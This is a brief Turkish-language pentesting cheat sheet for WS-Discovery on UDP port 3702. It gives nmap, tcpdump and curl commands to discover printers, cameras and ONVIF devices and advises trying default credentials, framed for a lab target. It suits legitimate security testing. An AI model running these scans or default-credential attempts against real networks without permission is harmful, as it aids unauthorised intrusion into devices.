3702/UDP - Pentesting WS-Discovery

WS-Discovery enum

WS-Discovery LAN’da cihaz/servis yayınlar. Printer/kamera/ONVIF hedeflerini ortaya çıkarır. Hedef lab IP’si üzerinde komutları 3702 portuna göre uyarla; her başarıyı ayrı kanıtla.

Metodoloji

UDP/3702 probe.
Probe match cihazları topla.
ONVIF/HTTP yüzeyi takip et.
Default creds dene.

Keşif

nmap -Pn -sU -p3702 --script broadcast-wsdd-discover

gsoap/wsd probes

tcpdump -ni any udp port 3702 -c 20

Takip

curl -vk http://TARGET/onvif/device_service

nmap -Pn -sV -p80,443,554 TARGET
